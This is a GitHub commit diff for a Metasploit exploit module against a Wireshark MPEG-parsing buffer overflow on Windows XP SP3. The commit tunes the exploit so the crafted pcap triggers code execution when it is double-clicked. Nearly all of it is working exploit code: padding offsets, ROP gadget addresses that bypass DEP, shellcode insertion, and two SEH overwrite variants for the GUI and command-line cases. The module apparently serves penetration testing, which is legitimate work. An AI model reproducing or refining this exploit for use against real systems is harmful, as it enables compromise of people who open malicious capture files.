Skip to content

Commit e25ca64

Browse files
committed
It's solved the crash when double-click on the pcap file
1 parent 3861541 commit e25ca64

File tree

1 file changed

+22
-9
lines changed

1 file changed

+22
-9
lines changed

modules/exploits/windows/misc/wireshark_mpeg_overflow.rb

Lines changed: 22 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,8 @@ def initialize(info = {})
4747
[
4848
[ 'WinXP SP3 Spanish (bypass DEP)',
4949
{
50-
'OffSet' => 70692,
50+
'OffSet' => 69732,
51+
'OffSet2' => 70476,
5152
'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16)
5253
'jmpesp' => 0x68e2bfb9,
5354
}
@@ -94,18 +95,30 @@ def create_rop_chain()
9495
def exploit
9596

9697
print_status("Creating '#{datastore['FILENAME']}' file ...")
97-
magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
98-
packet = rand_text_alpha(891)
98+
9999
ropchain = create_rop_chain
100+
magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
101+
# Here we build the packet data
102+
packet = rand_text_alpha(883)
103+
packet << "\x6c\x7d\x37\x6c" # NOP RETN
104+
packet << "\x6c\x7d\x37\x6c" # NOP RETN
100105
packet << ropchain
101-
packet << payload.encoded # Shellcode
106+
packet << payload.encoded # Shellcode
102107
packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)
103-
# SEH pointers overwrite (nseh & seh)
104-
packet << make_nops(4) # nseh
105-
# \0xff is a badchar then we can't make a jump back with jmp $-2000
108+
109+
# 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000
106110
# After nseh and seh we haven't space, then we have to jump to another location.
107-
# 0x6b805955 : # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] ** | {PAGE_EXECUTE_REA
108-
packet << "\x55\x59\x80\x6b" # seh -> ADD ESP,offset # RETN
111+
112+
# When file is open with command line. This is NSEH/SEH overwrite
113+
packet << make_nops(4) # nseh
114+
packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN
115+
116+
packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk
117+
118+
# When file is open with GUI interface. This is NSEH/SEH overwrite
119+
packet << make_nops(4) # nseh
120+
packet << "\x55\x59\x80\x6b" # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] **
121+
109122
print_status("Preparing payload")
110123
filecontent = magic_header
111124
filecontent << packet

0 commit comments

Comments
 (0)